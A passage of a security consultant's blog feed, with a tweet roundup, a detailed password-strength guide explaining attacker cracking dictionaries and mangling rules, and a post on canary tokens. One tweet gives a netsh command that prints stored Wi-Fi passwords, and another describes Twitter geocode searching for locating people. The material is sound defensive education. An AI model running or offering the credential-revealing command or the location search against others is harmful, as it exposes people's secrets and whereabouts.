<p>There were a few other tools mentioned, some of which I couldn’t find by the names used in the tweets, and some of which I think were a bit out of scope for the original question asked. This tweet was from 2017, but another up-and-comer these days that is highly recommended by a colleague of mine is <a href="https://www.notion.so/">Notion</a>. This one has a long way to go in the features department, but they are off to a great start. I’ll be keeping my eye on this one.</p>

<h1 id="tweet-25---terms-of-service">Tweet 2/5 - Terms of Service</h1>
<p><a href="https://twitter.com/waxzce/status/898548366958673920">@waxzce</a> writes:
<img src="../../../assets/images/dms-tm-04-02.png" alt="@waxzce" /></p>

<p>““I have read and agree to the Terms” is the biggest lie on the web. We aim to fix that. <a href="https://tosdr.org/">https://tosdr.org/</a>  // very good idea, Thank you”</p>

<p>This is an amazing project that seeks to inform users, and make the world just a little bit better of a place. In their own words:</p>

<p>“We are a user rights initiative to rate and label website terms &amp; privacy policies, from very good Class A to very bad Class E.</p>

<p>Terms of service are often too long to read, but it’s important to understand what’s in them. Your rights online depend on them. We hope that our ratings can help you get informed about your rights. Do not hesitate to click on a service below, to have more details!”</p>

<p>They offer a plugin for web browsers. I’m a bit wary of that part, but the overall project is a great idea, and I’ve referred to it multiple times. Probably one of the biggest challenges is simply the scale of the problem at hand, and trying to keep track and maintain up to date information about numerous companies/services.</p>

<h1 id="tweet-35---twitter-geocode-searching">Tweet 3/5 - Twitter Geocode Searching</h1>
<p><a href="https://twitter.com/xKaliSec/status/913803139240939520">@xKaliSec</a> writes:
<img src="../../../assets/images/dms-tm-04-03.png" alt="@xKaliSec" /></p>

<p>“How to get tweets from a specific location [Doxing] https://www.youtube.com/watch?v=Kr-7xHF4e4Q …”</p>

<p>I had seen prior art on identifying images from platforms like instagram and facebook based on their geo location. Many of those techniques have gone away since there are often privacy concerns related to the functionality. It kind of blew my mind that this feature is still built right into Twitter as a platform, and publicly searchable. All a user need do is enter the search “<a href="https://en.wikipedia.org/wiki/Geocoding">geocode</a>:” followed by latitude and longitude coordinates, and another comma-separated parameter with the diameter size of the circle around those coordinates to include tweets from. Here’s an example of tweets made within .1km of the White House:</p>

<p><img src="../../../assets/images/dms-tm-04-04.png" alt="Twitter Geocoding" /></p>

<p>There is a pretty obvious high-popularity tweeter that seems to be absent from the data, but there is still a huge amount of room for abuse of this feature. My gut instinct is there is more abuse potential than legitimate use/research, but I’d be curious to read the thoughts of others, on the matter.</p>

<h1 id="tweet-45---under-the-wire-powershell">Tweet 4/5 - Under the Wire PowerShell</h1>
<p><a href="https://twitter.com/Lee_Holmes/status/906261930142081024">@Lee_Holmes</a> writes:
<img src="../../../assets/images/dms-tm-04-05.png" alt="@Lee_Holmes" /></p>

<p>“Wow! A PowerShell-based wargame to teach you PowerShell, Windows management, and a bit of incident response? Yes! http://www.underthewire.tech “</p>

<p>I’ve spent about five minutes on this “wargames” site and I’m already in love. This is the kind of fun education that “educational games” back in the day failed to achieve (I’m look at you, Math Blaster).</p>

<p><img src="../../../assets/images/s-l1000.jpg" alt="Sup" /></p>

<p>This reminds me a lot of the JavaScript game Untrusted that I have <a href="https://vext.info/2017/09/07/untrusted-a-user-javascript-adventure-game.html">posted about before</a>. I may have a new series of walkthroughs to work on, soon…</p>

<h1 id="tweet-55---retrieving-wifi-passwords">Tweet 5/5 - Retrieving Wifi Passwords</h1>
<p><a href="https://twitter.com/DynamicWebPaige/status/914240788103561216">@DynamicWebPaige</a> writes:
<img src="../../../assets/images/dms-tm-04-06.png" alt="@DynamicWebPaige" /></p>

<p>“Did you know that “netsh wlan show profile” shows every network your computer has ever connected to? And “key=clear” shows the <em>passwords</em>?”</p>

<p>Just a quick, easy command to look at where a given machine has been, from a wifi perspective. Potentially useful in a security assessment of a given device, or just in recovering your own wifi password.</p>]]></content><author><name>vext</name></author><category term="dms" /><category term="twitter" /><category term="opinion" /><category term="reference" /><summary type="html"><![CDATA[Welcome to “DMs to myself,” where I will be going through messages from Twitter that I sent to myself. I do this in an effort to keep track of interesting or valuable pieces of information that flow through the ether that is Twitter’s timeline. Think of this as an “in case you missed it,” but really directed at myself.]]></summary></entry><entry><title type="html">Practical Password Guidance</title><link href="/2019/03/25/practical-password-guidance.html" rel="alternate" type="text/html" title="Practical Password Guidance" /><published>2019-03-25T17:19:54+00:00</published><updated>2019-03-25T17:19:54+00:00</updated><id>/2019/03/25/practical-password-guidance</id><content type="html" xml:base="/2019/03/25/practical-password-guidance.html"><![CDATA[<p>Spoiler: There is no quick answer to this. I’m a details guy. This won’t be short.</p>

<h1 id="whats-all-this-fuss-about-passwords">What’s all this fuss about passwords?</h1>

<p>I work as a security consultant, so one of my primary job functions is to provide recommendations to my clients. I typically identify some form of risk in their environment (of either a technical or operational nature), and then provide recommendations as to how to mitigate that risk, either partially or completely. Such recommendations can range from the very brief (“Install <patch x=""> on identified systems to resolve <vulnerability y="">") to verbosity and detail requiring pages of step-by-step details and/or hours of conversation.</vulnerability></patch></p>

<p>Most of my recommendations are taken without much in the way of resistance, but one subject has always had a much higher proportion of questioning, disagreement, and downright arguing than any other: password strength recommendations. It used to be such an issue that I wrote up a two-page standard recommendation as the <strong>starting point</strong> of the ins and outs of password creation for my clients. That material is, of course, work proprietary, but there is so much to discuss on the subject I felt I should have something on here, too.</p>

<p>It’s no wonder that there are differences of opinion when it comes to passwords. There is no end to the advice online. Some of it good. Some of it really, really bad. Most of it in between, with some good elements and some bad. Some of it is compliance driven. Some of it is based on “best practices,” though nobody can even seem to agree on what that means. NIST, of course, has their updated guidance on everything from designing systems for password storage, to how users should be restricted from using weak passwords, to how often passwords should be reset. All of these sources have their strengths and weaknesses, but the root issue for users is the myriad conflicting, confusing, complex sources of information. This leaves users with questions and no clear answers.</p>

<ol>
  <li>What source should a user trust for guidance?</li>
  <li>Which is more important? Length or complexity?</li>
  <li>What do weak passwords look like?</li>
  <li>What do strong passwords look like?</li>
  <li>How can I make better passwords?</li>
  <li>Do I really have to read <a href="https://pages.nist.gov/800-63-3/">250 pages of guidance</a> to know how to choose strong passwords?</li>
</ol>

<p>These are complex questions, and there isn’t a single right answer to any of them, except perhaps that last one (the answer is no, you definitely don’t, and that’s not really what 800-63 is for.)</p>

<p>Instead of trying to prove answers to the first two questions above - which could justify a post each and still not be “solved” - I’m going dig into questions 3 through 5, provide examples, and describe my thought process as both a user and a white hat attacker. I will also go step-by-step through the Diceware model for generating passwords, give some opinions on the strengths and weaknesses of that approach, and provide an alternative method that I think has merit as a middle ground between strength and effort.</p>

<h1 id="important-concepts">Important concepts</h1>

<p>Before we get into the passwords themselves, there is some important background information that users might find helpful. It’s common advice that we shouldn’t use passwords that are “based on a dictionary word.” What gets lost in this advice is precisely what “dictionary” means.</p>

<p>For most of us, a dictionary word is self-explanatory. If you speak English, you might quite reasonably assume that a dictionary word is one of the roughly 300,000 words in the second edition of the Oxford English dictionary, but that isn’t the kind of dictionary an attacker will use to crack passwords. An attacker’s dictionary is far larger than the normal dictionary of a single language, and might consist of hundreds of millions of entries.</p>

<p>What do these entries look like? Well, to start, an attacker dictionary <strong>will</strong> include much - perhaps all - of the contents of traditional language dictionaries. It will probably include the entirety of one of the main authoritative dictionaries in the primary language that target passwords fall into (this is commonly English, but it’s a big world, out there). Next the dictionary may include the top most common words from other major world language dictionaries, since lots of English speakers think they are being clever when they use other languages for their passwords. So <em>Achtung123</em> is just as likely to get cracked as <em>Welcome123</em>, and not simply because of brute force (though that, too). Conceptually we can replace “English” with any other base language and rotate, accordingly.</p>

<p>Next come phrases. While we traditionally think of dictionaries as only including single words, an attacker’s password cracking dictionary seeks to include common examples of various strings of words that might be used to make a password. Famous quotes, company slogans, lines from books, and lyrics from songs are all fair game for what ends up in a password cracking dictionary, so <em>Snapintoaslimjim123</em> is <strong>also</strong> just as likely to get cracked as <em>Welcome123</em>. This time the brute force resistance is different between the two, but the dictionary-based vulnerability is just the same, if “snapintoaslimjim” is in the attacker’s dictionary (and it definitely is).</p>

<p>Also important to understand is that password cracking software doesn’t just take the dictionary as it is. It also applies rules to each entry. These rules are created based on common password usage trends, but more on that later.</p>

<p>So really, the principle for making better passwords is not to avoid those based on a <strong>traditional</strong> dictionary word, but rather to avoid those based on an <strong>attacker</strong> dictionary “word.” This is a higher bar to clear.</p>

<p>So what do we do now?</p>

<h1 id="use-multifactor-authentication-and-a-password-manager">Use multifactor authentication and a password manager</h1>
<p>I feel obliged to start with the best advice first. It really behooves all users to get into these habits. Most major sites support multifactor authentication of some form or other (receiving a text, or using an app that generates time-based codes, or in some cases receiving an Email containing a temporary code). It’s an annoyance, yes,. but it is worth it the vast majority of the time. Multifactor authentication can be enough to make an opportunistic attacker move on to easier prey, and that can keep you safe, online.</p>

<p>Similarly, while it takes some getting used to, relying on a password manager is far better than coming up with your own passwords. Humans are <a href="https://www.dailymail.co.uk/home/moslive/article-1334712/Humans-concept-randomness-hard-understand.html">notoriously bad</a> at estimating what is really <a href="https://scienceblogs.com/cognitivedaily/2007/02/05/is-17-the-most-random-number">random</a>. (The images don’t load in that article, but can be <a href="https://web.archive.org/web/20180119101005if_/http://scienceblogs.com/cognitivedaily/wp-content/blogs.dir/262/files/2012/04/i-a03a7810e186eeba8d2dff79d04afcd6-random1.gif">found</a> on archive.org). A password generator’s pseudo-randomness is far superior to that of humans, and once you get used to the workflow of storing your passwords inside one, it’s much easier than trying to remember dozens of passwords.</p>

<h1 id="what-do-weak-passwords-look-like">What do weak passwords look like?</h1>

<p>All right. With the background out of the way, next I am going to provide some examples of weak passwords, and why they are weak. Most of these will be obvious, but a few may surprise you.</p>

<ul>
  <li>Admin</li>
  <li>Password</li>
  <li>Spring2019!</li>
  <li>!March2019?</li>
  <li>Welcome1234!<br />
…</li>
</ul>

<p>These are pretty obvious to everyone. They are based on a single (traditional) dictionary word, they are commonly used, and some of them are even defaults on software and hardware devices. You might also note that while there are special characters in some of them, they are either at the beginning or the end of the password. This is bad because it’s common for other people to do it. The baddies know this, and have crafted their tools to compensate. Remember the rules I mentioned before? Some of the most common rules could be read as “append a special character,” or “prepend a special character.” Such a rule would take the input of “Welcome” and try:</p>

<ul>
  <li>Welcome!</li>
  <li>Welcome@</li>
  <li>Welcome#</li>
  <li>Welcome%<br />
… etc.</li>
</ul>

<p>Other rules might be “append the numerals 19 and then two more numerals from 00 to 99.” This would result in:</p>

<ul>
  <li>Welcome1900</li>
  <li>Welcome1901<br />
…</li>
  <li>Welcome1999</li>
</ul>

<p>Another might be simply “append the numerals 1234,” giving us:</p>

<ul>
  <li>Welcome1234</li>
</ul>

<p>And rules can be combined, so we might also end up with:</p>

<ul>
  <li>Welcome1901!</li>
  <li>Welcome1902!<br />
…</li>
  <li>Welcome1234!<br />
…</li>
  <li>Welcome1901@</li>
  <li>Welcome1902@<br />
…</li>
  <li>Welcome1234@<br />
… etc.</li>
</ul>

<p>There are <strong><a href="https://github.com/hashcat/hashcat/tree/master/rules">tons</a></strong> of rule sets for “mangling” passwords in this way. Capitalize the first letter. Capitalize all the letters. Capitalize none of the letters. Append. Prepend. The list goes on.<br />
How about another example of a bad password…</p>

<ul>
  <li>W3lc0m31234!</li>
</ul>

<p>But wait. Haven’t we been taught for years that replacing letters with numbers is a good way to make a password stronger? Yes, we have. Rewinding 10 years, that was probably still reasonably sound advice. The problem is, as I said, that the baddies know this technique, and there are rules for these common transformations. If you replace o with 0, or e with 3, or a with 4, or t with 7, you are wasting time and effort. Those old rules make it harder for you to type the password, but they don’t make it significantly harder for a computer to crack it.<br />
Back to the bad examples:</p>

<ul>
  <li>WhyMe?1984!</li>
  <li>[redacted]Sucks!</li>
  <li>AmazonPass123</li>
  <li>Michaelis13!</li>
</ul>

<p>Some of these might look surprising, or made up, but, with the slight modification of redacting the name of the company that a person worked for, they are all real passwords that I have cracked in real engagements. They are, respectively:</p>
<ul>
  <li>A secret cry for help</li>
  <li>A complaint about an apparently terrible employer</li>
  <li>Somebody’s Amazon password</li>
  <li>A factual detail about a person’s child.</li>
</ul>

<p>They all follow the same basic premise of being based on a single (or a combination of a couple) traditional dictionary words, plus some numbers and symbols. The last one is doubly bad because it also is made up of common details that a ton of people might know about that user.</p>

<p>The last examples are some of my favorites:</p>

<ul>
  <li>Subwayeatfresh!</li>
  <li>Ph’nglui mglw’nafh Cthulhu R’lyeh wgah’nagl fhtagn1</li>
</ul>

<p>The subway one is pretty obvious, in hindsight, but it stands out in my memory as when I learned that slogans were included in attacker dictionaries. As a famous company slogan, it ends up in the attacker’s dictionary, and yes, I’ve seen it on a live engagement. But come on. <em>Ph’nglui mglw’nafh Cthulhu R’lyeh wgah’nagl fhtagn1</em>? There’s no way that will… wait, <a href="https://arstechnica.com/information-technology/2013/08/thereisnofatebutwhatwemake-turbo-charged-cracking-comes-to-long-passwords/">they did what?</a>.</p>

<p>All right, then. Avoid common/famous lines from books, company slogans, speeches, etc.</p>

<h1 id="what-do-strong-passwords-look-like">What do strong passwords look like?</h1>

<p>Here are some examples of passwords of increasing strength (note that #1 and #2 are swapped because #2 is derived from #1):</p>
<ol>
  <li><strong>This is a passphrase I could use for logging into a website</strong> (59 characters)
    <ul>
      <li>Pros: This is super easy to remember and type, because it’s plain language. It naturally include changes of case and special characters (spaces). It’s also very unlikely to show up in a dictionary (or it was, until I posted this blog).</li>
      <li>Cons: This doesn’t do anything unique to transform (“mangle)”) the password. The only capital is at the start (a common pattern) and the only special symbol is a space between words. You also have to come up with every word yourself. Some sites do not allow passwords this long. Good, but could be better.</li>
    </ul>
  </li>
  <li><strong>TiapIcu4li2aw!</strong> (14 characters)
    <ul>
      <li>This password is generated by taking the first character from each word in the passphrase above. Though it follows in sequence, I consider it all around worse than the passphrase above.</li>
      <li>Pros: It’s just as easy to remember (you memorize the phrase), and it has a little more complexity. It’s more likely to be acceptable to most sites. <a href="https://www.schneier.com/essays/archives/2008/11/passwords_are_not_br.html">Bruce Schneier</a> recommends <a href="https://www.schneier.com/blog/archives/2014/03/choosing_secure_1.html">this method</a>.</li>
      <li>Cons: It’s more difficult to type. It’s far shorter, which renders it more likely to be brute-forced than the original passphrase. That said, it’s still pretty resistant to cracking or brute forcing.</li>
    </ul>
  </li>
  <li><strong>I am the very model of a modern major general. War, war never changes.</strong> (70 characters)
    <ul>
      <li>This is a “middle ground” alternative to Diceware. I’ll explain its creation method later in this post.</li>
      <li>Pros: Long and very easy to remember and type. You only have to memorize two elements. Very resistant to brute force, very unlikely to be in a dictionary (until this post).</li>
      <li>Cons: Shares some of the same problems as the first passphrase above. It doesn’t really mangle the phrase at all, and it might simply be too long for some systems.</li>
    </ul>
  </li>
  <li><strong>clapped antics commute deceptive omen fragment</strong> (46 characters)
    <ul>
      <li>This one looks a little odd at first. It’s a balance of random generation (through the use of dice, described below) and a published word list.</li>
      <li>Pros: Easy to type. Randomly determined from a list of thousands of words. You can usually form a mental image of the words to help remember it (or re-roll a word or two if the words just don’t work together at all).</li>
      <li>Cons: Not mangled at all, and the word list is public. It’s a good idea to do some mangling of your own if you use this method. You also have to get out dice and refer to a list.</li>
    </ul>
  </li>
  <li><strong>XdgG1|*:BRDxgp`</strong> (15 randomly generated characters)
    <ul>
      <li>A password generated by a trusted password manager program. Keep in mind that once you get used to using a password manager, there is no real difference between using a 15 character password and a 100 character password, so might as well go longer:</li>
    </ul>
  </li>
  <li><strong>XdgG1|*:BRDxgp`JB#8WVp3s!g:’R8@hCbi|NSoRobYkiXLB|V</strong> (50 randomly generated characters)
    <ul>
      <li>Pros: These passwords are the most resistant to cracking or guessing. Since they are randomly generated, brute forcing is really the only way to break such a password (though, like any password, it could still be intercepted). Passwords like this are generated by password managers, and once you have use of a password manager as part of your workflow, you don’t even have to think about memorizing such a password. Just copy and paste it.</li>
      <li>Cons: Basically impossible to memorize. A pain in the butt if you ever <strong>do</strong> have to type it manually. All but unusable for mobile devices (phones, tablets). Length again may be a limitation on some sites.</li>
    </ul>
  </li>
</ol>

<p>If I were to visually represent the relative strengths of these passwords, they would go nearly in the order above, with #1 and #2 swapped:</p>

<p><img src="../../../assets/images/clip-passwordnumline.png" alt="Ordered by strength" /><br />
Note: The representation isn’t to any calculated scale, but rather evenly spaced on a ranking based on my qualitative view of each password based on its relative strength <strong>and</strong> its ease of use for the user.</p>

<h1 id="general-principles">General principles</h1>

<p>There aren’t hard and fast rules to password creation, but these general principles are <strong>usually</strong> applicable:</p>

<ul>
  <li>Length is generally more important than complexity.
    <ul>
      <li>Longer with less complexity is <strong>usually</strong> better than shorter with more complexity (there are exceptions, don’t math me). That said, you should aim for both.</li>
    </ul>
  </li>
  <li>Randomly generated phrases can be a good balance of memorable and long.
    <ul>
      <li>See below re: Diceware for advice on creating some.</li>
    </ul>
  </li>
  <li>Avoid personal information in your passwords (and security questions).
    <ul>
      <li>Birthdays, relatives, cities, pets, anything on your Facebook or LinkedIn</li>
    </ul>
  </li>
  <li>Do not reuse passwords across sites.
    <ul>
      <li>If one site gets hacked, others could be accessed.</li>
    </ul>
  </li>
  <li>Keep it secret, keep it safe!
    <ul>
      <li>If you write it down, never leave it unattended.</li>
    </ul>
  </li>
  <li>Don’t mangle the way everybody else does.
    <ul>
      <li>Come up with your own secret mangling technique, such as “insert the letter R after every new word.” Something that other people <strong>aren’t</strong> doing.</li>
    </ul>
  </li>
  <li>Use a password manager.
    <ul>
      <li>It makes life easier and passwords more secure, but make sure you use a well-regarded one, and make sure you keep a backup somewhere safe!</li>
    </ul>
  </li>
  <li>Be better than the minimum requirement
    <ul>
      <li>If you only create a password that meets the minimum, <strong>you</strong> are the low bar by which others are measured.</li>
    </ul>
  </li>
</ul>

<h1 id="diceware">Diceware?</h1>

<p>I’ve mentioned <a href="https://en.wikipedia.org/wiki/Diceware">Diceware</a> a few times, now, so what’s that? Put briefly, it’s a method for creating passwords based on a couple of principles:</p>

<ol>
  <li>Humans suck at randomness, computers are “ok” at it, but the real world is full of it.</li>
  <li>Lists of randomly-selected elements from a large enough pool are expensive to brute force.</li>
</ol>

<p>Diceware basically takes the concept of brute force resistance in passwords and cranks it up a (few thousand) notches. With brute forcing, the passwords that can possibly be generated (the key space) are a combination of the length of the password and the number of possible characters that can be chosen.<br />
I won’t get deep into the math in this post (I am by no means an expert), but there is plenty of good reading <a href="https://en.wikipedia.org/wiki/Key_size">on the subject</a>.<br />
In short, traditional passwords are made up of typable characters (a-z, A-Z, 0-9, and special characters on the keyboard). Depending on your keyboard, this probably results in somewhere in the neighborhood of 100 characters to choose from. To brute force an 8-character password, we have to run all 8 characters through all their 100ish possibilities…</p>

<ul>
  <li>aaaaaaaa</li>
  <li>baaaaaaa</li>
  <li>caaaaaaa<br />
…</li>
  <li>zzzzzzzz</li>
  <li>AAAAAAAA</li>
  <li>BAAAAAAA<br />
…</li>
  <li>Zaaaaaaa</li>
  <li>Zbaaaaaa</li>
  <li>Zcaaaaaa<br />
…</li>
  <li>####ZZZZ</li>
  <li>###$ZZZZ</li>
  <li>###%ZZZZ<br />
… etc.</li>
</ul>

<p>With Diceware, you think of <strong>words</strong> as the characters from which to select, and that list is far larger than 100. The Diceware instructions will have you roll 5 dice (or one die five times) per word to choose from a list of 7,776 possibilities. If we create a diceware passphrase of 8 words, the number of possibilities is no longer 8 characters each having 100 possibilities, but rather 8 words each having 7,776 possibilities.<br />
Even if an attacker knows that you used Diceware to make your password, simply running through all the permutations by brute force would be extremely costly, with today’s computing power.</p>

<h2 id="exercise-time">Exercise time</h2>

<p>So let’s make a Diceware password. Most nerds have at least one set of dice within easy reach, so grab yours, get a pencil and piece of paper, and let’s get started.</p>

<p>First, we need a word list. There are quite a few options, but for this example I will use the original <a href="http://world.std.com/%7Ereinhold/diceware.wordlist.asc">Diceware wordlist</a>.</p>

<h3 id="step-1---roll-dice">Step 1 - Roll dice</h3>
<p>The instructions say that we should roll 5 dice for each word, so we shake, rattle, and roll…</p>

<p><img src="../../../assets/images/clip-dice1.png" alt="4 3 6 2 3, thanks to random.org for the dice generator" /></p>

<p>4 3 6 2 3</p>

<h3 id="step-2---find-word">Step 2 - Find word</h3>
<p>We look in the wordlist for the number represented by 43623 and find…</p>

<p><img src="../../../assets/images/clip-none.png" alt="none" /></p>

<p>none.<br />
So we write down ‘none’ and continue to…</p>

<h3 id="step-3---repeat">Step 3 - Repeat</h3>
<p>The current advice is for a minimum of six words, but I’ll go with eight to remain in line with the example from earlier:</p>

<ul>
  <li>63452 = warn</li>
  <li>56135 = sunk</li>
  <li>14133 = betty</li>
  <li>42622 = mosaic</li>
  <li>61631 = trig</li>
  <li>34641 = jude</li>
  <li>64232 = wince</li>
</ul>

<p>Now we have a pass phrase of eight words: <strong>none warn sunk betty mosaic trig jude wince</strong>.</p>

<h3 id="step-4---memorize">Step 4 - Memorize</h3>

<p>The next step is to memorize the words. Depending on what you rolled, this might be easier or harder. You typically want to break the words up into a few mental “chunks” to make them easier to commit to memory. If you can form an image or a narrative of some kind with the words, that’s even better.</p>

<ul>
  <li>“<strong>none warn sunk betty</strong>” could be remembered by picturing a <a href="https://en.wikipedia.org/wiki/Betty_Rubble">famous Betty</a> under the sea; she’s in danger, but nobody is warning her :(</li>
  <li>“<strong>mosaic trig</strong>” could be recalled by imagining one of those “<a href="https://www.tes.com/teaching-resource/colouring-by-trigonometry-right-and-oblique-collaborative-15-sheet-math-mosaic-11322495">math mosaic</a>” educational tools.</li>
  <li>“<strong>jude wince</strong>” Another easy once, just imagine the familiar facial expression, and pair that up with a famous Jude (or <a href="https://beatlesfacts.files.wordpress.com/2010/11/mcartney-hey-jude.png">a face</a> that might be associated with the name, at least).</li>
</ul>

<p>Now, it’s still a good idea to do some mangling of the diceware password once you create it. That way, even if somebody knows that you used diceware, and knows which list you used, they will still have a hard time of figuring out what kind of mangling you applied. After some modifications to the passphrase above, we might end up with something like:</p>

<ul>
  <li><strong>noneRwarnRsunkRbettyRmosaicRtrigRjudeRwince</strong> (replacing spaces with the letter R, because who does that?)</li>
  <li><strong>noRne waRrn suRnk beRtty mosRaic trRig juRde wiRnce</strong> (inserting the letter R after every second character in each word, because who does that?)</li>
  <li><strong>nonewarnsunkbetty mosaictrig judewince</strong> (grouping the words based on the “chunks” that were easy to remember)</li>
  <li><strong>no0ne wa1rn su0nk be1tty mo1saic tr0ig ju9de wi5nce</strong> (inserting the birthdate “01011995” in the password. Not a great idea, but it gives you an example of how you could mangle the passphrase further)</li>
</ul>

<p>All in all, not <strong>too</strong> bad, but that did take a few minutes. For those really important passwords that you need to remember (like the master password of a password manager), and that you can take time to plan in advance, this is probably a good technique.</p>

<h1 id="an-alternative-to-diceware">An alternative to Diceware</h1>
<p>Still, there might be times when I need to come up with a password, and it just isn’t convenient to follow the Diceware method:</p>

<ul>
  <li>Traveling (and I forgot my lucky dice!)</li>
  <li>First day at a new job (and I forgot to prepare a new password in advance!)</li>
  <li>In a time-sensitive situation requiring a new password better than “Welcome123”</li>
  <li>Trying to convince somebody who just isn’t going to sit down with dice, pen and paper to come up with a new strong password</li>
</ul>

<p>What to do? I’ve had success with an in-between method that borrows some rudimentary concepts from Diceware and simplifies them. Admittedly, this comes at the cost of weakening the resulting passphrases, but it can come in handy, and I think it has a benefit over just trying to come up with a series of random words on your own (remember, our brains aren’t good at random).</p>

<p>The basic concept is simple:</p>

<ul>
  <li>Select a memorable phrase such as a quote, the lyric from a song, a line from a book, etc.
    <ul>
      <li><em>Wait, didn’t you say doing that was bad?</em> On its own, yes, but wait, there’s another step:</li>
    </ul>
  </li>
  <li>Select a second, <strong>entirely unrelated</strong> phrase from some other source and combine the two.</li>
</ul>

<p>Remember the example from earlier?</p>
<ul>
  <li><strong>I am the very model of a modern major general. War, war never changes.</strong>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^ Lyric from The Pirates of Penzance               ^ Quote from the Fallout video game series.
</code></pre></div>    </div>
  </li>
</ul>

<p>Both of these parts, by themselves, show up in cracking dictionaries. But (prior to posting this blog), the combination of the two did not. There would be no reason for them to appear that way, because who would ever combine them?</p>

<p>There are some important principles that go with using this method:</p>
<ul>
  <li><strong>Do not select obvious sources</strong>. If everybody knows you love the musical “Hamilton,” avoid songs from it.</li>
  <li><strong>Do not select two phrases from the same or related sources</strong>. Two quotes from different episodes of Naruto aren’t wise. Neither are two lines from different George R. R. Martin novels.</li>
</ul>

<p>Why do I advocate this method? On its face, it seems like it’s just a weaker version of Diceware. Instead of it being a phrase made up of six or eight or ten “parts” there are only two. And we said before that humans are bad at being random. Both of these are true, but here are the key differences:</p>

<ol>
  <li>We aren’t selecting from a known list. We have potentially <strong>any</strong> source of media to draw from (movies, TV shows, books, music, poems, speeches, etc.). The resulting choices can vary widely in their size and form. For one person, half the passphrase might be a quote. For another person it might be a mathematical formula. For another it might be a whole verse from a song.</li>
  <li>We aren’t trying to be random, we are deliberately selecting <strong>unrelated</strong> sources. It’s much easier to identify two elements that have no business being combined than it is to try and be “random.”</li>
</ol>

<h2 id="examples">Examples</h2>

<ul>
  <li><strong>There once was a man from Nantucket; y=mx+b</strong> (43 characters)</li>
  <li><strong>There’s no place like home. You can’t serve this, it’s fucking RAW!</strong> (67 characters)</li>
  <li><strong>A long time ago, in a galaxy far, far away… I just met you, and this is crazy, but here’s my number, so call me, maybe?</strong> (121 characters)</li>
</ul>

<p>These passphrases are easy to come up with, they are long (protecting from brute force), and they are very unlikely to be in an attacker’s dictionary.</p>

<p>It’s still a good idea to mangle them, though. Don’t forget!</p>

<h1 id="you-only-need-to-remember-a-few-passwords">You only need to remember a few passwords</h1>

<p>Finally, I reiterate the guidance to use a password manager. It really does simplify life, and one of the ways it does so is minimizing the number of passwords we have to try and cram into our brains. There are only so many passwords most of us can remember before we start messing them up, or cutting corners and re-using them across sites, or making passwords that are technically different but really very similar. A password manager solves all these problems. Once you are in the habit of using a password manager, there is a pretty short list of passwords that you need to memorize:</p>

<ul>
  <li>The master password to your password manager. (Obviously.)</li>
  <li>Your main email account password. (All your online accounts can be reset with this.)</li>
  <li>The password to your personal computer. (You will type this every day.)</li>
  <li>The password to your work computer. (Same with this.)</li>
  <li>The password to your phone/tablet. (You will enter this numerous times per day.)</li>
  <li>The password to your primary bank account. (Good to have in an emergency.)</li>
</ul>

<p>Six is a much more manageable number of passwords. Some of us may have a couple more or a couple less to contend with, but my password manager currently has hundreds of entries that I wouldn’t have a hope of keeping track of without it. So I urge you to <a href="https://thewirecutter.com/reviews/best-password-managers/">get a password manager</a>. Try it out for a while, and then incorporate it into your regular workflow online.</p>]]></content><author><name>vext</name></author><category term="password" /><category term="diceware" /><summary type="html"><![CDATA[Spoiler: There is no quick answer to this. I’m a details guy. This won’t be short.]]></summary></entry><entry><title type="html">SSL/TLS Fun with Canary Tokens</title><link href="/2019/03/15/ssltls-fun-with-canary-tokens.html" rel="alternate" type="text/html" title="SSL/TLS Fun with Canary Tokens" /><published>2019-03-15T19:07:12+00:00</published><updated>2019-03-15T19:07:12+00:00</updated><id>/2019/03/15/ssltls-fun-with-canary-tokens</id><content type="html" xml:base="/2019/03/15/ssltls-fun-with-canary-tokens.html"><![CDATA[<h1 id="what-had-happened-was">What had happened was…</h1>
<p>It didn’t take long to learn (or re-learn) some more interesting things, thanks to <a href="https://canarytokens.org/generate">Thinkst Canary Tokens</a>.</p>

<p>First, a small admission: I’ve been using you. That is, I’ve been using my site, since the prior post on Canary Tokens, to play with one. No, don’t worry, I didn’t have malicious JavaScript or invasive plugins trying to interrogate your browser (though <a href="https://www.techdirt.com/articles/20131215/23260825572/facebook-is-tracking-when-you-write-something-then-decide-to-delete-it-rather-than-post-it.shtml">those</a> are totally <a href="https://www.techdirt.com/articles/20141105/11315029057/verizon-may-soon-get-to-enjoy-lawsuit-over-their-sneaky-use-perma-cookies.shtml">things</a> that <a href="https://www.techdirt.com/articles/20060503/0141241.shtml">some sites</a> will use).</p>

<p>This was a very simple URL token, inserted into the page code as an <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag. Any time the page was loaded (and thus the image requested), I would get a notification from the Canary Token. The information provided was similar to what can be provided with any site analytics framework, though unlike most modern analytics frameworks, it included the requesting IP address, much like was provided with the .docx payload I tested on VirusTotal in the <a href="https://vext.info/2019/03/12/fun-with-canary-tokens.html">previous post</a>.</p>

<p>Before getting into the interesting stuff: I’ve taken the auto-loading token out of all pages, and I’ve deleted all the notifications I received from that beacon, since I didn’t feel right about having the individual IP addresses of users visiting the site, without some kind of disclosure that it was being captured.</p>

<p>I have left a hidden <code class="language-plaintext highlighter-rouge">&lt;a&gt;</code> tag with a link to a different token, to get some information on what automated crawlers are visiting the site, but unless a human views the page source and manually loads the link (with its warning), I won’t receive any individual IP addresses from that one.</p>

<h1 id="so-about-tls">So about TLS…</h1>

<p>Now on to the lessons learned! I loaded my page and noticed that the HTTPS security status in Firefox had changed from green to yellow:</p>

<p><img src="../../../assets/images/canary-02-02.png" alt="Yellow is bad" /></p>

<p>Hmm. The site is hosted on <a href="https://www.github.com">GitHub</a>, and I use the option to enforce HTTPS… I know they get legitimate certificates from <a href="https://letsencrypt.org/">Let’s Encrypt</a>, so what’s the cause? Did they have a mix-up with their cert generation/application?</p>

<p><img src="../../../assets/images/canary-02-03.png" alt="Qualys SSL Labs" /></p>

<p>No, everything is fine there. Let’s take a look at the debug console…</p>

<p><img src="../../../assets/images/canary-02-01.png" alt="Oops" /></p>

<p>Oh, right… My own fault. I had seen this behavior before, on other sites, but entirely forgot about it when I was inserting the HTTP links to the Canary Tokens into my own site: modern browsers will complain about insecure elements being loaded into secure sites.</p>

